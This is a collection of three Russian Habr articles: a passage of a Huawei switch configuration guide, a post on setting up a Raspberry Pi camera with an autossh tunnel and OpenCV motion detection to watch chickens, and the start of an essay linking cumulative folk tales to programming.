2. Сначала установка и подключение коммутаторов между собой, потом их настройка для работы в стеке.
Последовательность действий для этих вариантов выглядит следующим образом:
Последовательность действий для двух вариантов стекирования коммутаторовРассмотрим второй (более длительный) вариант настройки стека. Для этого нужно выполнить следующие действия:
1. Планируем работы с учётом вероятного простоя. Составляем последовательность действий.
2. Осуществляем монтаж и кабельное подключение коммутаторов.
3. Настраиваем базовые параметры стека для master-коммутатора:
`[~HUAWEI] stack`
3.1. Настраиваем нужные нам параметры#
***stack member 1 renumber X*** - где X - новый ID коммутатора в стэке. По умолчанию, ID = 1
и для master-коммутатора можно оставить ID по умолчанию.
#
***stack member 1 priority 150*** - указываем приоритет. Коммутатор с наибольшим
приоритетом будет назначен master-коммутатором стека. Значение приоритета
по умолчанию: 100.
#
***stack member { member-id | all } domain*** - назначить Domain ID для стека.
По умолчанию, domain ID не задан.
#
**Пример:**
**system-view**[~HUAWEI] **sysname SwitchA**[*HUAWEI]* ***commit****[~SwitchA]* ***stack****[~SwitchA-stack]* ***stack member 1 priority 150****[*SwitchA-stack] **stack member 1 domain 10**[*SwitchA-stack]* ***quit****[*SwitchA] **commit**
3.2 Настраиваем интерфейс порта стекирования (пример)[~SwitchA] **interface stack-port 1/1**[*SwitchA-Stack-Port1/1]* ***port member-group interface 10ge 1/0/1 to 1/0/4***
*Warning: After the configuration is complete,*
*1.The interface(s) (10GE1/0/1-1/0/4) will be converted to stack mode and be configured with the
port crc-statistics trigger error-down command if the configuration does not exist.*
*2.The interface(s) may go Error-Down (crc-statistics) because there is no shutdown configuration on the interfaces.Continue? [Y/N]:* ***y****[*SwitchA-Stack-Port1/1] **commit**[~SwitchA-Stack-Port1/1] **return**
Далее, нужно сохранить конфигурацию и перезагрузить коммутатор:
***save****Warning: The current configuration will be written to the device. Continue? [Y/N]:* ***y******reboot****Warning: The system will reboot. Continue? [Y/N]:****y***
4. Выключаем порты для стекирования на master-коммутаторе (пример)*[~SwitchA]* ***interface stack-port 1/1*** *[\*SwitchA-Stack-Port1/1]* ***shutdown*** *[\*SwitchA-Stack-Port1/1]* ***commit***
5. Настраиваем второй коммутатор в стэке по аналогии с первым: ***system-view*** *[~HUAWEI] sysname* ***SwitchB*** *[\*HUAWEI]* ***commit*** *[~SwitchB]* ***stack*** *[~SwitchB-stack]* ***stack member 1 priority 120*** *[\*SwitchB-stack]* ***stack member 1 domain 10*** *[\*SwitchB-stack]* ***stack member 1 renumber 2 inherit-config*** *Warning: The stack configuration of member ID 1 will be inherited to member ID 2
after the device resets. Continue? [Y/N]:* ***y*** *[\*SwitchB-stack]* ***quit*** *[\*SwitchB]* ***commit***
Настраиваем порты для стекирования. Обратите внимание, что несмотря на то, что была введена команда “***stack member 1 renumber 2 inherit-config***”, member-id в конфигурации используется со значением “1” для SwitchB.
Так происходит, потому что member-id коммутатора будет изменён только после перезагрузки и до неё коммутатор по-прежнему имеет member-id, равный 1. Параметр “*inherit-config*” как раз нужен для того, чтобы после перезагрузки коммутатора все настройки стека сохранились для member 2, которым и будет коммутатор, т.к. его member ID был изменён со значения 1 на значение 2.
*[~SwitchB]* ***interface stack-port 1/1*** *[\*SwitchB-Stack-Port1/1]* ***port member-group interface 10ge 1/0/1 to 1/0/4****Warning: After the configuration is complete,
1.The interface(s) (10GE1/0/1-1/0/4) will be converted to stack
mode and be configured with the port crc-statistics trigger error-down command if the configuration does
not exist.
2.The interface(s) may go Error-Down (crc-statistics) because there is no shutdown configuration on the
interfaces.
Continue? [Y/N]:* ***y*** *[\*SwitchB-Stack-Port1/1]* ***commit*** *[~SwitchB-Stack-Port1/1]* ***return***
Перезагружаем SwitchB ***save*** *Warning: The current configuration will be written to the device. Continue? [Y/N]:* ***y*** ***reboot*** *Warning: The system will reboot. Continue? [Y/N]:* ***y***
6. Включаем порты стекирования на master-коммутаторе. Важно успеть включить порты до завершения перезагрузки коммутатора B, т.к. если включить их после, коммутатор B снова уйдёт в перезагрузку.
*[~SwitchA]* ***interface stack-port 1/1*** *[~SwitchA-Stack-Port1/1]* ***undo shutdown*** *[\*SwitchA-Stack-Port1/1]* ***commit*** *[~SwitchA-Stack-Port1/1]* ***return***7. Проверяем работу стека командой “***display stack***”
Пример вывода команды после правильной настройки ***display stack***
*--------------------------------------------------------------------------------*
*MemberID Role MAC Priority DeviceType Description*
*--------------------------------------------------------------------------------*
*+1 Master 0004-9f31-d520 150 CE6850-48T4Q-EI*
*2 Standby 0004-9f62-1f40 120 CE6850-48T4Q-EI*
*--------------------------------------------------------------------------------*
*+ indicates the device where the activated management interface resides.*
8. Сохраняем конфигурацию стека командой “**save**”. Настройка завершена.
[Подробную информация про iStack](https://support.huawei.com/enterprise/en/doc/EDOC1100039599/7362af27/stack-configuration) и [пример настройки iStack](https://support.huawei.com/enterprise/en/doc/EDOC1000166645/cb36698d/example-for-establishing-a-stack-of-two-switches-connecting-cables-and-then-configuring-software) можно также посмотреть на сайте Huawei.
Настройка доступа
-----------------
Выше мы работали через консольное подключение. Теперь к нашему коммутатору (стеку) нужно как-то подключаться по сети. Для этого ему нужен интерфейс (один или несколько ) с IP-адресом. Обычно для коммутатора адрес назначается на интерфейс в VLAN сети управления или на выделенный порт управления. Но тут, конечно же, всё зависит от топологии подключения и функционального назначения коммутатора.
Пример настройки адреса для интерфейса VLAN 1:
*[~HUAWEI]* ***interface vlan 1****[~HUAWEI-Vlanif1]* ***ip address 10.10.10.1 255.255.255.0****[~HUAWEI-Vlanif1]* ***commit***
Предварительно можно явно создать Vlan и назначить ему имя, например:
*[~Switch]* ***vlan 1****[\*Switch-vlan1]* ***name TEST\_VLAN*** *(имя VLAN - необязательный элемент)*
Есть маленький лайфхак в плане именования — писать имена логических структур заглавными буквами (ACL, Route-map, иногда имена VLAN), чтобы было легче находить их в конфигурационном файле. Можете взять “на вооружение” ;)
Итак, у нас есть VLAN, теперь “приземляем” его на какой-нибудь порт. Для описанного в примере варианта делать это не обязательно, т.к. все порты коммутатора по умолчанию находятся в VLAN 1. Если хотим настроить порт в другой VLAN, пользуемся соответствующими командами:
Настройка порта в режиме access:*[~Switch]* ***interface 25GE 1/0/20****[~Switch-25GE1/0/20]* ***port link-type access****[~Switch-25GE1/0/20]* ***port access vlan 10****[~Switch-25GE1/0/20]* ***commit***
Настройка порта в режиме trunk:[~Switch] **interface 25GE 1/0/20**[~Switch-25GE1/0/20] **port link-type trunk**[~Switch-25GE1/0/20] **port trunk pvid vlan 10** - *указываем native VLAN (фреймы в этом VLAN не будут иметь тег в заголовке)*[~Switch-25GE1/0/20] **port trunk allow-pass vlan 1 to 20** - *разрешаем только VLAN с тегом от 1 до 20 (для примера)*[~Switch-25GE1/0/20] **commit**
С настройкой интерфейсов разобрались. Перейдём к конфигурации SSH.
Приведем только необходимый набор команд:
Назначаем имя коммутатору***system-view****[~HUAWEI]* ***sysname SSH Server****[\*HUAWEI]* ***commit***
Генерируем ключи*[~SSH Server]* ***rsa local-key-pair create*** *//Generate the local RSA host and server key pairs.
The key name will be: SSH Server\_Host
The range of public key size is (512 ~ 2048).
NOTE: Key pair generation will take a short while.
Input the bits in the modulus [default = 2048] :* ***2048*** *[\*SSH Server]* ***commit***
Настраиваем интерфейст VTY*[~SSH Server]* ***user-interface vty 0 4****[~SSH Server-ui-vty0-4]* ***authentication-mode aaa****[SSH Server-ui-vty0-4]* ***user privilege level 3****[SSH Server-ui-vty0-4]* ***protocol inbound ssh****[\*SSH Server-ui-vty0-4]* ***quit***
Создаем локального пользователя "client001" и настроим ему аутентификацию по паролю[*SSH Server]* ***aaa****[*SSH Server-aaa] **local-user client001 password irreversible-cipher**[*SSH Server-aaa]* ***local-user client001 level 3****[*SSH Server-aaa] **local-user client001 service-type ssh**[*SSH Server-aaa]* ***quit****[*SSH Server] **ssh user client001 authentication-type password**
Активируем сервис SSH на коммутаторе[~SSH Server] **stelnet server enable**[\*SSH Server] **commit**
Финальный штрих: настраиваем service-tupe для пользователя client001[~SSH Server] **ssh user client001 service-type stelnet**[\*SSH Server] **commit**
Настройка завершена. Если вы все сделали верно, то можно подключиться к коммутатору по локальной сети и продолжить работу.
Больше подробностей по настройке SSH можно найти в документации Huawei — [первая](https://support.huawei.com/enterprise/ru/doc/EDOC1000178166/330a6b73/configuring-stelnet-login) и [вторая статья](https://support.huawei.com/enterprise/en/doc/EDOC1000060766/9ccf97a/how-do-i-configure-stelnet-based-login).
Настройка базовых параметров системы
------------------------------------
В этом блоке рассмотрим небольшое количество различных блоков команд для настройки наиболее популярных возможностей.
1. Настройка системного времени и его синхронизация по NTP.
Для настройки времени локально на коммутаторе можно использовать следующие команды:
***clock timezone*** ***{ add | minus }*** ***clock datetime*** *[* ***utc*** *] HH:MM:SS YYYY-MM-DD*
Пример настройки времени локально**clock timezone** MSK **add** 03:00:00
**clock datetime** 10:10:00 2020-10-08
Для синхронизации времени по NTP с сервером вводим следующую команду:
**ntp unicast-server** [ **version** number | **authentication-keyid** key-id | **source-interface** interface-type
Пример команды для синхронищации времени по NTP**ntp unicast-server 88.212.196.95
commit**
2. Для работы с коммутатором порой требуется настроить как минимум один маршрут - маршрут по умолчанию или default route. Для создания маршрутов используется следующая команда:
***ip route-static*** *ip-address { mask | mask-length } { nexthop-address | interface-type interface-number [ nexthop-address ] }*
Пример команды для создания маршрутов:**system-view
ip route-static** 0.0.0.0 0.0.0.0 192.168.0.1
**commit**
3. Настройка режима работы протокола Spanning-Tree.
Для корректного использования нового коммутатора в существующей сети важно уделить внимание выбору режима работы STP. Также, неплохо бы сразу настроить его. Надолго останавливаться здесь не будем, т.к. тема достаточно обширная. Опишем лишь режимы работы протокола:
***stp mode*** *{* ***stp | rstp | mstp | vbst*** *}* — в этой команде выбираем нужный нам режим. Режим по умолчанию: MSTP. Он же является рекомендуемым режимом для работы на коммутаторах Huawei. Обратная совместимость с RSTP имеется.
Пример**system-view
stp mode mstp
commit**
4. Пример настройки порта коммутатора для подключения конечного устройства.
Рассмотрим пример настройки acess-порта для обработки траффика в VLAN10*[SW]* ***interface 10ge 1/0/3****[SW-10GE1/0/3]* ***port link-type access****[SW-10GE1/0/3]* ***port default vlan 10****[SW-10GE1/0/3]* ***stp edged-port enable****[\*SW-10GE1/0/3]* ***quit***
Обратите внимание на команду “***stp edged-port enable***” - она позволяет ускорить процесс перехода порта в состояние forwarding. Однако, не стоит использовать эту команду на портах, к которым подключены другие коммутаторы.
Также, может быть полезна команда “***stp bpdu-filter enable***”.5. Пример настройки Port-Channel в режиме LACP для подключения к другим коммутаторам или серверам.
Пример[*SW]* ***interface eth-trunk 1****[*SW-Eth-Trunk1] **port link-type trunk**[*SW-Eth-Trunk1]* ***port trunk allow-pass vlan 10****[*SW-Eth-Trunk1] **mode lacp-static** (или можно использовать **lacp-dynamic**)
[*SW-Eth-Trunk1]* ***quit****[*SW] **interface 10ge 1/0/1**[*SW-10GE1/0/1]* ***eth-Trunk 1****[*SW-10GE1/0/1] **quit**[*SW]* ***interface 10ge 1/0/2****[*SW-10GE1/0/2] **eth-Trunk 1**[\*SW-10GE1/0/2] **quit**
Не забываем про “***commit***” и далее уже работаем с интерфейсом ***eth-trunk 1*.**Проверить состояние агрегированного линка можно командой “***display eth-trunk***”.
Мы описали основные моменты настройки коммутаторов Huawei. Конечно, в тему можно погрузиться еще глубже и ряд моментов не описан, но мы старались показать основные, наиболее востребованные команды для первичной настройки.
Надеемся что этот “мануал” поможет вам настроить коммутаторы немного быстрее.
Также будет здорово, если вы в комментариях напишите команды, которых, по вашему мнению, не хватает в статье, но они также могут упростить настройку коммутаторов. Ну и, как обычно, будем рады ответить на ваши вопросы. | https://habr.com/ru/post/522510/ | null | ru | null |
# Нейрокурятник: часть 1. Установка Raspberry Pi и камеры в курятник и их настройка
*Большой брат следит за тобой, птица!*
**Статьи про нейрокурятник**
**Заголовок спойлера**1. **[Вступление](https://habrahabr.ru/post/328138/) про обучение себя нейросетям**
2. **[Железо, софт и конфиг](https://habrahabr.ru/post/327978/) для наблюдения за курами**
3. [**Бот**](https://habrahabr.ru/post/328940/), который постит события из жизни кур — без нейросети
4. [**Разметка**](https://habrahabr.ru/post/330740/) датасетов
5. Работающая [**модель**](https://habrahabr.ru/post/330738/) для распознавания кур в курятнике
6. Итог — работающий бот, распознающий кур в курятнике
Идея пришла давно. У кого-то мысли отапливать курятники майнящими криптовалюты видеокартами (криптокурятник), что прекрасно, несомненно, а у кого-то мысли в распознавании изображений, звуков, в нейросетях и их реальном применении.
Когда-то давно читали статью про японца, который [помог](https://cloud.google.com/blog/big-data/2016/08/how-a-japanese-cucumber-farmer-is-using-deep-learning-and-tensorflow) отцу с сортировкой огурцов; решили, что анализировать, как несутся куры у наших родителей, присылая им отчеты в мессенджер — идея из веселых.
Вообще планов много. То, что около гнезда произошло шевеление, может значить, что птица залезла в гнездо или вылезла из него. Это понять просто при помощи openCV, и это мы уже умеем. Сделать легко при помощи вот этого [блога](http://www.pyimagesearch.com/2015/06/01/home-surveillance-and-motion-detection-with-the-raspberry-pi-python-and-opencv/).
А что, если распознавать каждую птицу и анализировать, какая из них не несется? Оценивать продуктивность каждой отдельно взятой курицы? Если птица не несется и не имеет никакой другой уважительной причины для отдыха (например, короткий световой день, линька), то может, пора варить куриный суп?
Только представьте сообщение: “Нам кажется, что птица ch11 не несется без причины, быть может, нужно рассмотреть ее дальнейшую судьбу”. А потом окажется, что птица ch11 — это наша старая кошка Клюква, которая просто с курами живет.
Хакатон
-------
Мысли о том, что все это звучит здорово, не давали покоя. Первый опыт в распознавании движения ([на автомобилях за окном](https://t.me/snakers4/742)) прошел неплохо, и теперь оборудование простаивало. Все всегда происходит внезапно, поэтому в один прекрасный четверг я купила билеты на пятничную ночь к родителям и полетела на выходные настраивать сбор данных для нейрокурятника.
Главная сложность заключалась в отсутствии проводного интернета и принципиальной невозможности его провести (глушь, что поделать). Но, когда не знаешь, на что подписываешься, надеешься на лучшее, да.
Помимо этого в курятнике не оказалось розеток. Подачей света и сигнализацией родители, конечно же, управляют рубильниками прямо из дома. Отец откликнулся на просьбу воплотить розетку в курятнике, и она, в общем-то, материализовалась там весьма быстро.
Основная часть оборудования — Raspberry Pi 3 и камера борд к нему, источник питания и usb-вентилятор (ибо процессинг изображений без вентилятора нагревает процессор аж до 80 градусов). Помимо этого кто-то должен был обеспечить pi интернетом.
Итак, среди альтернатив для хотспота — 3g/4g модем хуавей, старая xperia на андроиде. Модем хорош тем, что ему не нужен отдельный источник питания, а плох тем, что работает из коробки только с виндой. Есть, конечно же, статьи про то, как завести его на линуксе, но что-то не хотелось.
В условиях жестко ограниченного времени (оставались сутки до отъезда) был выбран телефон.
Провайдер не оказывал услугу статического IP в данном регионе. IP оказался динамическим, что было решено пофиксить при помощи динамического DNS сервиса.
И внезапно (кто бы сомневался), это не заработало. Ведь IP не просто динамический, он серый динамический. Это значит, что до него невозможно достучаться извне, порты закрыты.
Параллельно был перепилен питоновский скрипт для захвата и передачи на сервер изображений, но он все еще был сырой.
Тем временем была потрачена уже половина имевшегося времени.
Знакомый подсказал, что есть прекрасная штука, ssh back connect, что в общем-то спасло нас от разочарования. Времени оставалось совсем мало, поэтому не удавалось до конца разобраться, как все работает, нужно было, чтобы работало хоть как-то.
Перед самым отъездом были настроены крон с прокидыванием ssh туннеля, замером температуры и алармой на почту в случае чего, и весь сетап отправился в курятник. С интернетом там все равно плохо, но он есть. Выяснилось, что там достаточно темно и на фотках ничего не видно. Отец пообещал настроить освещение, как только найдется время. До поры до времени камера была выключена.
Главное, что к pi можно было подключиться отовсюду, где был интернет.
Подробнее о настройке
---------------------
Немного отойдя от хакатона — марш-броска, я взялась донастраивать это дело дальше. Почитав [гайды](https://linuxaria.com/howto/permanent-ssh-tunnels-with-autossh) (по ключевым словам permanent autossh), я попыталась наладить autossh вместо reverse ssh, которое работало нестабильно и поддерживалось при помощи крона. Поначалу ничего с autossh у меня не вышло, я продолжала использовать первое решение с кроном, но проблема с плодящимися коннектами вынудила меня все-таки подружиться с autossh.
Чтобы все завелось, нужно лишь создать исполняемый файл (кто не умеет, гуглит create executable file linux) на удаленном устройстве с динамическим серым IP и добавить туда такую строчку:
```
/usr/bin/autossh -M 0 -o ServerAliveInterval=50 -o ServerAliveCountMax=2 -nNTf -R 2222:localhost:22 userB@hostB -p bbbb
```
В этой строчке 2222 можно заменить на любой ненужный вам порт, нужно заменить userB на юзера на вашем домашнем сервере (то есть на том, который не в курятнике), hostB — на хоста на вашем домашнем сервере, bbbb — порт вашего домашнего сервера, если отличен от стандартного (22).
Про параметры команды можете сами почитать, если интересно или хочется что-то поменять. Далее добавляем в крон (crontab -e) такую строку (если незнакомы с кроном то тут [1](https://t.me/snakers4/367) [2](https://t.me/snakers4/368) [3](https://t.me/snakers4/369) [4](https://t.me/snakers4/376) друг собирал вводные), которая будет запускать autossh при ребуте:
```
@reboot /path/to/script/autosshtunnel.sh
```
Итак, теперь, если вы заходите на домашний сервер с другой удаленной машины, позаботьтесь о том, чтобы сессия не разрывалась. То есть я захожу на сервер с ноутбука, а уже с сервера стучусь в курятник, в таком случае я прописываю параметры для вечной сессии и при подключении к серверу, и при подключении к курятнику (распберри).
Делается это по такому шаблону:
```
ssh -o TCPKeepAlive=yes -o ServerAliveInterval=50 user@box.example.com
```
К системе в курятнике я подключаюсь так:
```
ssh -o TCPKeepAlive=yes -o ServerAliveInterval=50 sshuser@localhost -p 2222
```
Это все касалось возможности удаленного подключения, теперь быстро поговорим про алармы о температуре. Чтобы настроить алармы на почту в debian системах типа убунту и распбиан — достаточно следовать этому [гайду](https://help.ubuntu.com/community/EmailAlerts), нужно будет всего лишь установить ssmtp и поправить конфиг, это все. Простейший скрипт для аларм про перегрев на почту для распбиан может выглядеть вот так:
```
TEMPERATURE="$(/opt/vc/bin/vcgencmd measure_temp)"
NTEMPERATURE="$(echo $TEMPERATURE | tr -dc '0-9.')"
LIMIT="61.0"
if [ $(echo "$NTEMPERATURE > $LIMIT" | bc) -ne 0 ]; then
echo "The critical CPU temperature has been reached $NTEMPERATURE" | sudo /usr/bin/ssmtp -vvv somename@somehost.com
fi
```
Дальше остается этот скрипт упаковать в исполняемый файл и закинуть в крон. Пока не жарко, я выполняю скрипт каждые две минуты.
Теперь поговорим про основной скрипт, которым мы собираем изображения. Изображения мы считаем условно полезными, если заметили движение. Аналитику и распознавание будем прикручивать уже на эти изображения. Выше уже упоминался полезный [блог](http://www.pyimagesearch.com/2015/06/01/home-surveillance-and-motion-detection-with-the-raspberry-pi-python-and-opencv/), из которого мы взяли за основу скрипт, немного его переписав.
В самом гайде уже написано, что нужно для работы, но я повторюсь, что понадобится сделать [билд OpenCV](http://www.pyimagesearch.com/2016/04/18/install-guide-raspberry-pi-3-raspbian-jessie-opencv-3/). Это может занять много времени (в моем случае заняло 5 часов). Помимо этого необходимо поставить так же и другие библиотеки, тоже там упомянутые, например numpy, imutils, — там не возникало подводных камней.
Основной скрипт мы переписали под свои нужды и внесли следующие изменения:
* сменили Python 2 на Python 3;
* вместо дропбокса использовали свой сервер;
* сохраняются оригинальный и сжатый фрейм.
Готовый вариант pi\_surveillance.py выглядит так (ну разве что надо еще сделать вынос констант из скрипта в конфиг):
```
# import the necessary packages
import sys
sys.path.append('/usr/local/lib/python2.7/site-packages')
from pyimagesearch.tempimage import TempImage
from picamera.array import PiRGBArray
from picamera import PiCamera
import argparse
import warnings
import datetime
import imutils
import json
import time
import cv2
import os
# construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-c", "--conf", required=True,
help="path to the JSON configuration file")
args = vars(ap.parse_args())
# filter warnings, load the configuration and check if we are going to use server
warnings.filterwarnings("ignore")
conf = json.load(open(args["conf"]))
client = None
if conf["use_server"]:
#we do not use Dropbox
print("[INFO] you are using server")
# initialize the camera and grab a reference to the raw camera capture
camera = PiCamera()
camera.resolution = tuple(conf["resolution"])
camera.framerate = conf["fps"]
rawCapture = PiRGBArray(camera, size=tuple(conf["resolution"]))
# allow the camera to warmup, then initialize the average frame, last
# uploaded timestamp, and frame motion counter
print("[INFO] warming up...")
time.sleep(conf["camera_warmup_time"])
avg = None
lastUploaded = datetime.datetime.now()
motionCounter = 0
# capture frames from the camera
for f in camera.capture_continuous(rawCapture, format="bgr", use_video_port=True):
# grab the raw NumPy array representing the image and initialize
# the timestamp and occupied/unoccupied text
frame = f.array
timestamp = datetime.datetime.now()
text = "Unoccupied"
# resize the frame,
frame = imutils.resize(frame, width=1920)
frameorig = imutils.resize(frame, width=1920)
# convert it to grayscale, and blur it
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
gray = cv2.GaussianBlur(gray, (21, 21), 0)
# if the average frame is None, initialize it
if avg is None:
print("[INFO] starting background model...")
avg = gray.copy().astype("float")
rawCapture.truncate(0)
continue
# accumulate the weighted average between the current frame and
# previous frames, then compute the difference between the current
# frame and running average
cv2.accumulateWeighted(gray, avg, 0.5)
frameDelta = cv2.absdiff(gray, cv2.convertScaleAbs(avg))
# threshold the delta image, dilate the thresholded image to fill
# in holes, then find contours on thresholded image
thresh = cv2.threshold(frameDelta, conf["delta_thresh"], 255,
cv2.THRESH_BINARY)[1]
thresh = cv2.dilate(thresh, None, iterations=2)
cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
cnts = cnts[0] if imutils.is_cv2() else cnts[1]
# loop over the contours
# check if there is at least one contour, which is large enough
# I know this isn't the best practice
# I know about bool variables
# I know about other things too. I just don't actually care
# Yes, I am a liar, 'cause if I did not care,
# I wouldn't write anything of those ^
for c in cnts:
# if the contour is too small, ignore it
if cv2.contourArea(c) < conf["min_area"]:
continue
text = "Occupied"
print("[INFO] room is occupied, motion counter is {mc}".format(mc=motionCounter))
# initiate timestamp
ts = timestamp.strftime("%A-%d-%B-%Y-%I:%M:%S%p")
ts1 = timestamp.strftime("%A-%d-%B-%Y")
# let's create paths on a server
pathorig = "{base_path}/{timestamp}/origs".format(
base_path=conf["server_base_path"], timestamp=ts1)
pathres = "{base_path}/{timestamp}/res".format(
base_path=conf["server_base_path"], timestamp=ts1)
os.system('ssh -p bbbb "%s" "%s %s"' % ("userB@hostB", "sudo mkdir -p", pathorig))
os.system('ssh -p bbbb "%s" "%s %s"' % ("userB@hostB", "sudo mkdir -p", pathres))
# upload images on a server
if (text == "Occupied"):
motionCounter += 1
if motionCounter >= conf["min_motion_frames"] and (timestamp - lastUploaded).seconds >= conf["min_upload_seconds"]:
print("[INFO] time to upload, motion counter is {mc}".format(mc=motionCounter))
# upload original
t = TempImage()
cv2.imwrite(t.path, frameorig)
os.system('scp -P bbbb "%s" "%s:%s"' % (t.path, "userB@hostB", pathorig))
t.cleanup()
# upload resized image of 512 px
framec = imutils.resize(frame, width=512)
tc = TempImage()
cv2.imwrite(tc.path, framec)
os.system('scp -P bbbb "%s" "%s:%s"' % (tc.path, "userB@hostB", pathres))
tc.cleanup()
#reset motionCounter
motionCounter = 0
lastUploaded = datetime.datetime.now()
# otherwise, the room is not occupied
else:
motionCounter = 0
# check to see if the frames should be displayed to screen
if conf["show_video"]:
# display the security feed
cv2.imshow("Security Feed", frame)
key = cv2.waitKey(1) & 0xFF
# if the `q` key is pressed, break from the loop
if key == ord("q"):
break
# clear the stream in preparation for the next frame
rawCapture.truncate(0)
```
Как сейчас выглядит наш конфиг:
```
{
"show_video": false,
"use_server": true,
"server_base_path": "/media/server/PIC_LOGS",
"min_upload_seconds": 1.0,
"min_motion_frames": 3,
"camera_warmup_time": 2.5,
"delta_thresh": 5,
"resolution": [1920, 1080],
"fps": 16,
"min_area": 6000
}
```
А так — tempimage.py:
```
# import the necessary packages
import uuid
import os
import datetime
class TempImage:
def __init__(self, basePath="./temps", ext=".jpg"):
# construct the file path
timestamp = datetime.datetime.now()
ts = timestamp.strftime("-%I:%M:%S%p")
self.path = "{base_path}/{rand}{tmstp}{ext}".format(base_path=basePath,
rand=str(uuid.uuid4())[:8], tmstp=ts, ext=ext)
def cleanup(self):
# remove the file
os.remove(self.path)
```
Первым полученным изображением было изображение хвоста курицы в гнезде. Отличный подарок на майские для интроверта по жизни, который в хорошую погоду пялится в консоль. Изображение действительно обрадовало, несмотря на темень, отсутствие головы птицы в кадре и ненастроенность скрипта. Это куриный хвост (*Только подумайте, за тысячу километров от тебя курица залезла в гнездо, не подозревая, что ты за ней наблюдаешь.*):
Потом было настроено освещение, и я получила заметно более вдохновляющие фотографии.
Запускается скрипт с учетом того, что OpenCV установлен в виртуальной рабочей среде cv, вот так (надо бы еще и придумать, как правильно такое отправлять в бекграунд):
```
source ~/.profile
workon cv
cd ~/chickencoop
python3 /home/sshuser/chickencoop/pi_surveillance.py --conf conf.json
```
*Продолжение следует...* | https://habr.com/ru/post/327978/ | null | ru | null |
# Детская сказка программисту на ночь
Есть интересная тема, на первый взгляд мало относящаяся к алгоритмам. Она "сказочная" с одной стороны, а со стороны другой в ней есть созвучие с насущными проблемами начинающего свой профессиональный путь программиста.
Давайте попробуем разобраться и немного развлечься, рассматривая эти стороны древней алгоритмической медали...
Задача
------
Вспоминая свой опыт знакомства со сказками, могу точно отметить, что это происходило почти заново три раза. Каждая хорошая книга растет вместе с читателем и обретает новые краски с увеличением его практического опыта. Но в отличие от многих книг сказка имеет особую историю взаимодействия с человеком. Первого знакомства со сказками думаю никто не избежал в своём детстве. Это было знакомство без чтения — на слух — очень часто с помощью наших родителей и в сопровождении с просмотром красочных иллюстраций детских книжек. Мало какие факты в содержании сказки оцениваются ребёнком при таком детском и игровом знакомстве. Но в памяти почти наверняка остаются часто повторяемые образцы: "я от дедушки ушёл, я от бабушки ушёл...".
[](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D0%BE%D0%B1%D0%BE%D0%BA_(%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B0))
Уже позже в сознательном возрасте происходит второе знакомство со сказкой. Часто это происходит в процессе чтения сказки своим детям. У меня же это знакомство случилось в старшей школе. Когда на уроках литературы нас старались научить после прочтения книги не только пересказать сюжет, но и задуматься, что и какими средствами хотел нам сказать автор в своём произведении. Те сказки, которые были выбраны для разбора в текущей статье, в большинстве не имеют известного автора. Их называют "народными". Так что́ "хотел сказать" народ своим растущим детям посредством сказки? Есть ли в сказке польза? Или сказка лишь развлечение, нужное для весёлого и красочного взаимодействия родителей со своим ребёнком?
Эти вопросы становятся еще острее, если попробовать задуматься: какой странный образец поведения демонстрируется многими сказками.
Мы учим ребёнка убегать от бабушки и дедушки? Или лежать на печи и ждать волшебной щуки, исполняющей желания? Конечно, нет. Ну, или очень странно, если — да.
Очень странно, когда в анализе цели и устройства сюжета рассказываемых детям сказок, появляется такое противоречие. А если так, то может стоит запретить такое навязывание вредных образцов поведения и привычек. Ведь цензура "замылила" процесс курения в "Ну, погоди...". Тут тоже есть место, где развернуться общественному фильтру содержания?
Нет! Конечно, пока рано бить тревогу. Польза сюжета сказок есть. И для оценки одной из несомненных составляющих этой пользы стоит начать наше третье и совместное знакомство со Сказкой, предлагаемое в качестве задачи текущей статьи.
Рассаживаемся поудобнее. Жили-были дед и баба...
Введение
--------
Перед тем как вплотную приступить к разбору сказки все же позволим себе небольшое пояснение. Конечно, эта статья не является первым или даже редким обзором, посвященным оценке структуры сюжета [сказок](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%B7%D0%BA%D0%B0). Есть достаточно большое число работ на эту тему, самыми крупными из которых являются системы классификации сказочных сюжетов:
* классификация Аарне — Томпсона — Утера (англ. ATU Index) [«Указатель сюжетов фольклорной сказки»](https://ru.wikipedia.org/wiki/%D0%A3%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C_%D1%81%D1%8E%D0%B6%D0%B5%D1%82%D0%BE%D0%B2_%D1%84%D0%BE%D0%BB%D1%8C%D0%BA%D0%BB%D0%BE%D1%80%D0%BD%D0%BE%D0%B9_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B8),
* работа В.Я.Проппа [«Морфология волшебной сказки»](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D1%80%D1%84%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B8),
* статья Акименко Н.А. [«Стилевые и текстообразующие характеристики английской народной сказки (диахронический аспект)»](https://cyberleninka.ru/article/n/stilevye-i-tekstoobrazuyuschie-harakteristiki-angliyskoy-narodnoy-skazki-diahronicheskiy-aspekt),
* статья Кретова А.А. [«Фольклор и постфольклор: структура, типология, семиотика»](http://www.ruthenia.ru/folklore/kretov1.htm),
* и множество других работ.
Из всего разнообразия анализа сказок выделяются общие части, обнаруживаемые разными исследователями в сказках разных народов мира. Одной из таких общих частей является [цепочная сказка](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BF%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D1%81%D0%BA%D0%B0%D0%B7%D0%BA%D0%B0) (альтернативное название — кумулятивная сказка), представляющая собой особый тип структуры сказочного сюжета. Этот тип сюжета является основой разбора, предлагаемого текущей статьёй. Докучные сказки, так же рассматриваемые в статье, являются подвидами цепочных сказок.
Где же тут будет о программировании? — спросите Вы.
[](https://ru.wikipedia.org/wiki/%D0%98%D1%82%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
